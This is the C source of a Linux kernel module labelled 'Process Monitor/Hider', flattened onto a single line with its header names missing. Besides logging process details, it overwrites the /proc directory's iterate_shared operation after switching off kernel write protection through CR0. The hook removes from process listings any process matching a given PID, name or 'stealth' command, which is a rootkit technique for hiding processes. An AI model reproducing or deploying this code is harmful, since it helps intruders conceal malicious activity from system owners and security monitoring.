#include #include #include #include #include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("Biswa Kalyan Bhuyan"); MODULE_DESCRIPTION("Process Monitor/Hider"); MODULE_VERSION("0.3"); /* Module parameters */ static unsigned int monitor_pid = 0; module_param(monitor_pid, uint, 0644); MODULE_PARM_DESC(monitor_pid, "Process ID to monitor"); static char* hide_name = NULL; module_param(hide_name, charp, 0644); MODULE_PARM_DESC(hide_name, "Process name to hide"); static unsigned int report_children = 0; module_param(report_children, uint, 0644); MODULE_PARM_DESC(report_children, "Set to 1 to report on child processes"); // Stealth flag - for hiding commands static char* stealth_cmd = NULL; module_param(stealth_cmd, charp, 0644); MODULE_PARM_DESC(stealth_cmd, "Command to hide from process listings"); /* Data structures */ struct process_info { pid_t pid; pid_t ppid; char name[TASK_COMM_LEN]; uid_t uid; gid_t gid; unsigned long start_time; unsigned int num_threads; unsigned int num_children; }; /* Hook-related variables */ static struct file_operations *proc_fops; static struct file_operations *root_fops; static filldir_t orig_proc_filldir; static int (*orig_iterate_shared)(struct file *, struct dir_context *); static struct path proc_path; /* Function to gather detailed process information */ static void gather_process_info(struct task_struct *task, struct process_info *info) { if (!task || !info) return; info->pid = task->pid; info->ppid = task->parent ? task->parent->pid : 0; strncpy(info->name, task->comm, TASK_COMM_LEN); info->uid = task->cred->uid.val; info->gid = task->cred->gid.val; info->start_time = task->start_time; info->num_threads = task->signal ? task->signal->nr_threads : 0; // Count children struct task_struct *child; info->num_children = 0; list_for_each_entry(child, &task->children, sibling) { info->num_children++; } } /* Report on a single process */ static void report_process(struct task_struct *task) { struct process_info info; gather_process_info(task, &info); printk(KERN_INFO "ProcMon: ----- Process %d (%s) -----\n", info.pid, info.name); printk(KERN_INFO "ProcMon: Parent PID: %d\n", info.ppid); printk(KERN_INFO "ProcMon: User/Group: %u/%u\n", info.uid, info.gid); printk(KERN_INFO "ProcMon: Threads: %u\n", info.num_threads); printk(KERN_INFO "ProcMon: Children: %u\n", info.num_children); if (report_children && info.num_children > 0) { printk(KERN_INFO "ProcMon: Child processes:\n"); struct task_struct *child; list_for_each_entry(child, &task->children, sibling) { printk(KERN_INFO "ProcMon: - PID %d (%s)\n", child->pid, child->comm); } } } /* Function to find process by PID */ static struct task_struct *find_process_by_pid(unsigned int pid) { struct task_struct *task; for_each_process(task) { if (task->pid == pid) return task; } return NULL; } /* Function to scan for processes with a given name */ static void scan_for_process_name(const char *name) { struct task_struct *task; int count = 0; printk(KERN_INFO "ProcMon: Scanning for processes named '%s'\n", name); for_each_process(task) { if (strncmp(task->comm, name, TASK_COMM_LEN) == 0) { printk(KERN_INFO "ProcMon: Found matching process: PID %d\n", task->pid); report_process(task); count++; } } printk(KERN_INFO "ProcMon: Found %d processes named '%s'\n", count, name); } /* Function to identify all processes that would be hidden in stealth mode */ static void simulate_stealth_mode(const char *cmd_name) { struct task_struct *task; int count = 0; printk(KERN_INFO "ProcMon: [STEALTH] Identifying processes to hide\n"); // Find all processes matching our stealth_cmd for_each_process(task) { if (strncmp(task->comm, cmd_name, TASK_COMM_LEN) == 0) { printk(KERN_INFO "ProcMon: [STEALTH] Will hide PID %d (%s)\n", task->pid, task->comm); count++; } } printk(KERN_INFO "ProcMon: [STEALTH] Found %d '%s' processes to hide\n", count, cmd_name); } /* Should we hide this process? */ static int should_hide_proc(const char *name) { struct task_struct *task; // First check if it's a PID directory long pid; if (kstrtol(name, 10, &pid) == 0) { // It's a numeric directory, so it could be a PID task = find_process_by_pid((unsigned int)pid); if (task) { // Check if this is our monitored PID if (monitor_pid > 0 && task->pid == monitor_pid) { return 1; // Hide the monitored PID } // Check if process name matches hide_name if (hide_name && strlen(hide_name) > 0 && strncmp(task->comm, hide_name, TASK_COMM_LEN) == 0) { return 1; // Hide processes with matching name } // Check if process name matches stealth_cmd if (stealth_cmd && strlen(stealth_cmd) > 0 && strncmp(task->comm, stealth_cmd, TASK_COMM_LEN) == 0) { return 1; // Hide processes with matching command } } } return 0; // Don't hide this one } /* Custom filldir function to filter directory entries */ static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { // Check if we should hide this entry if (should_hide_proc(name)) { return 0; // Skip this entry } // Otherwise, call the original filldir return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); } /* Custom iterate_shared function to hook directory listing */ static int proc_iterate_shared(struct file *file, struct dir_context *ctx) { // Replace the filldir function with our custom one orig_proc_filldir = ctx->actor; ctx->actor = (filldir_t)proc_filldir; // Call the original iterate_shared with our modified context return orig_iterate_shared(file, ctx); } /* Function to set up hooking of /proc directory */ static void hook_proc(void) { // Get the path to /proc if (kern_path("/proc", 0, &proc_path)) { printk(KERN_ERR "ProcMon: Failed to get /proc path\n"); return; } // Get the file operations for /proc proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; // Save the original iterate_shared function orig_iterate_shared = proc_fops->iterate_shared; // Replace with our custom function // Need to make the page writable first unsigned long *p = (unsigned long *)&proc_fops->iterate_shared; write_cr0(read_cr0() & ~0x10000); // Disable write protection proc_fops->iterate_shared = proc_iterate_shared; write_cr0(read_cr0() | 0x10000); // Enable write protection printk(KERN_INFO "ProcMon: Successfully hooked /proc directory operations\n"); } /* Function to unhook /proc directory */ static void unhook_proc(void) { // Restore the original iterate_shared function if (proc_fops && orig_iterate_shared) { write_cr0(read_cr0() & ~0x10000); // Disable write protection proc_fops->iterate_shared = orig_iterate_shared; write_cr0(read_cr0() | 0x10000); // Enable write protection printk(KERN_INFO "ProcMon: Restored original /proc directory operations\n"); } // Release the path path_put(&proc_path); } static int __init proc_monitor_init(void) { printk(KERN_INFO "ProcMon: Module loaded\n"); // Monitor specific PID if provided if (monitor_pid > 0) { struct task_struct *task = find_process_by_pid(monitor_pid); if (task) { printk(KERN_INFO "ProcMon: Found target process %d (%s) to hide\n", task->pid, task->comm); report_process(task); } else { printk(KERN_INFO "ProcMon: Process with PID %u not found\n", monitor_pid); } } // Scan for processes by name if provided if (hide_name != NULL && strlen(hide_name) > 0) { scan_for_process_name(hide_name); } // Set up stealth mode if requested if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) { printk(KERN_INFO "ProcMon: [STEALTH] Activating stealth mode for '%s' commands\n", stealth_cmd); simulate_stealth_mode(stealth_cmd); } // Implement the actual hooking hook_proc(); printk(KERN_INFO "ProcMon: Process Hiding Starts\n"); printk(KERN_INFO "ProcMon: Module initialization complete\n"); return 0; } static void __exit proc_monitor_exit(void) { printk(KERN_INFO "ProcMon: Module unloaded\n"); // Unhook everything unhook_proc(); if (monitor_pid > 0) { printk(KERN_INFO "ProcMon: Stopped hiding PID %u\n", monitor_pid); } if (hide_name != NULL && strlen(hide_name) > 0) { printk(KERN_INFO "ProcMon: No longer hiding '%s' processes\n", hide_name); } if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) { printk(KERN_INFO "ProcMon: [STEALTH] Deactivated stealth mode for '%s'\n", stealth_cmd); } } module_init(proc_monitor_init); module_exit(proc_monitor_exit);